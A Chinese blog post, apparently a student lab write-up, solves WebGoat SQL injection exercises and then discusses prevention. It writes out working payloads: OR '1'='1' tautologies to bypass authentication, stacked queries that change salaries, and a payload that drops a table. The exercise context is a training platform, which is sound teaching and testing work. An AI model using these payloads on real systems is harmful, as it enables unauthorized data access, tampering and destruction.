首页 > 数据库 >基于WebGoat平台的SQL注入攻击

基于WebGoat平台的SQL注入攻击

时间:2024-07-21 21:27:07浏览次数:18  
标签:语句 基于 name WebGoat 用户 SQL WHERE SELECT

目录

引言

一、安装好JAVA

二、下载并运行WebGoat

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

2. 第十题

3. 第十一题

4. 第十二题

5. 第十三题

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

(2)完整性

(3)可用性

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

6. 怎样预防和避免SQL 注入攻击。


引言

熟悉WebGoat平台,在该平台上实现SQL注入攻击。

(1)下载webgoat-server-8.2.2.jar。

(2)搭建java环境。

(3)运行webgoat。

(4)实施SQL注入攻击。

一、安装好JAVA

二、下载并运行WebGoat

本文置顶免费下载,解压即可。

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

原SQL语句

"SELECT * FROM user_data 

    WHERE first_name = 'John' 

        AND last_name = ' " + lastName + " ' ";

填入如下:

SELECT * FROM user_data 

    WHERE first_name = 'John' 

        AND last_name =  'Smith'  or '1'='1' ;

成功查到所有用户的信息。

2. 第十题

原SQL语句

"SELECT * FROM user_data 

    WHERE login_count = " + Login_Count + " 

    AND userid = "  + User_ID;

输入:

SQL语句变为:

SELECT * FROM user_data 

WHERE login_count = 1 

AND userid = '1' or '1' = '1' ;

成功查到所有用户的信息。

3. 第十一题

原SQL语句:

"SELECT * FROM employees 

    WHERE last_name = '" + name + "' 

        AND auth_tan = '" + auth_tan + "'";

填入:

SQL语句变为:

SELECT * FROM employees 

    WHERE last_name = '小煊' 

    AND auth_tan = ' ' or'1'='1 ';

成功查到用户信息:

4. 第十二题

原SQL语句:

"SELECT * FROM employees 

    WHERE last_name = '" + name + "' 

        AND auth_tan = '" + auth_tan + "'";

填入:

Employee Name:小煊

Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith

(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)

SQL语句变为:

SELECT * FROM employees 

    WHERE last_name = '小煊' 

        AND auth_tan = ' ';

update employees set salary =1000000 

    where first_name = 'John' 

        and last_name = 'Smith    ' ;

成功查到并插入用户信息:

5. 第十三题

原SQL语句如下:

"SELECT * FROM user_data 

    WHERE login_count ='"+variable+"'";

填入:

SQL语句变为:

SELECT * FROM user_data 

    WHERE login_count ='  '; 

drop table access_log; 

--  ';

(通过--注释把后面的’注释掉,成功将数据库的资源删除)

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。

String username = request.getParameter("username");

String password = request.getParameter("password");

String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。

例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:

SELECT * FROM users 

    WHERE username='admin' 

        AND password='' OR '1'='1'

这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。

如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件

这样输入之后可以看到数据库里全部人的信息。

(2)完整性

完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:

数据完整性:数据没有被(未授权)篡改或者损坏;

系统完整性:系统未被非法操纵,按既定的目标运行。

攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。

如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。

(3)可用性

可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。

SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。

如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

SELECT * FROM user_data 

    WHERE first_name = 'John' 
    
        AND last_name =  ' Smith'  or '1'='1 ' ;

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

SELECT * FROM employees 

WHERE last_name = '小煊' 

AND auth_tan = ' ';

update employees 

    set salary = 100 

        where first_name = 'John' 

            and last_name = 'Smith    ';

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

SELECT * FROM user_data 

WHERE login_count ='  '; 

drop table access_log; 

--  ';

6. 怎样预防和避免SQL 注入攻击。

(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;

(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。

(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测。

标签:语句,基于,name,WebGoat,用户,SQL,WHERE,SELECT
From: https://blog.csdn.net/m0_67830223/article/details/140479600

相关文章

  • sql脚本
    --创建临时表记录分批复制的日志CREATETABLEtemp_copy_log(idINTAUTO_INCREMENTPRIMARYKEY,batch_start_idINT,batch_end_idINT,start_timeDATETIME,end_timeDATETIME,durationINT,records_copiedINT);CREATETABLEdemo_......
  • SQL server基于报错的注入(使用sqlmap进行get shell)
    SQLserver基于报错的注入1.访问MSSQLSQLiLabs网站点击按钮,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:2.寻找注入点http://[靶机IP]/less-1.asp?id=1'运行后报错,说明我们可以利用参数“id”作为我们的注入点,根据回显我们可以判断这是字......
  • 毕业设计&毕业项目:基于springboot+vue实现的在线音乐平台
    一、前言        在当今数字化时代,音乐已经成为人们生活中不可或缺的一部分。随着技术的飞速发展,构建一个用户友好、功能丰富的在线音乐平台成为了许多开发者和创业者的目标。本文将介绍如何使用SpringBoot作为后端框架,结合Vue.js作为前端框架,共同实现一个高效、可扩展的......
  • 基于Docker安装elasticsearch和kibana 8.14.3
    需要先安装好Docker和DockerCompose安装的是单机版本的elasticsearch一、安装elasticsearch8.14.3复制下面的内容到elasticsearch-compose.yaml中services:elasticsearch:image:docker.elastic.co/elasticsearch/elasticsearch:8.14.3container_name:ela......
  • 计算机Java项目|基于SpringBoot的高校办公室行政事务管理系统
    作者主页:编程指南针作者简介:Java领域优质创作者、CSDN博客专家、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验,被多个学校常年聘为校外企业导师,指导学生毕业设计并参与学生毕业答辩指导,有较为丰富的相关经验。期待与......
  • Python项目|基于Python+Django实现购物商城系统
    作者主页:编程千纸鹤作者简介:Java领域优质创作者、CSDN博客专家、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验,被多个学校常年聘为校外企业导师,指导学生毕业设计并参与学生毕业答辩指导,有较为丰富的相关经验。期待......
  • MySQL入门学习-SQL高级技巧.透视表
        在MySQL中,虽然没有直接提供像Excel中那样的透视表功能,但可以通过一些技巧来实现类似的效果。通常,我们可以使用聚合函数和'GROUPBY' 子句来创建数据的透视表。一、透视表的概念:    透视表是一种数据汇总和分析的工具,它可以将数据按照不同的维度进行......
  • MySQL入门学习-SQL高级技巧.Window Function
        在MySQL中,窗口函数(WindowFunction)是一种强大的分析工具,它可以在查询结果的基础上进行更复杂的计算和分析。一、窗口函数的概念:    窗口函数可以对查询结果的每一行数据,根据指定的分区(Partition)和排序规则(Order)进行计算。它可以在同一查询中同时返回基础......
  • 基于gunicorn+flask+docker模型高并发部署(详细教程)
    关注我,持续分享逻辑思维&管理思维&面试题;可提供大厂面试辅导、及定制化求职/在职/管理/架构辅导;推荐专栏《10天学会使用asp.net编程AI大模型》,目前已完成所有内容。一顿烧烤不到的费用,让人能紧跟时代的浪潮。从普通网站,到公众号、小程序,再到AI大模型网站。干货满满。学成后可......
  • A144-基于SpringBoot的大学生心理健康咨询系统(源码+数据库+文档+包运行)
    项目简介这是一个基于SpringBoot框架开发的在线心理测评管理系统,主要分为两个角色:管理员和用户。系统提供了一系列功能,旨在方便管理员和用户进行相关操作。管理员角色功能登录:管理员可以通过登录功能进入系统。首页展示:展示系统的概要信息或重要通知。文章管理:管理系统内的......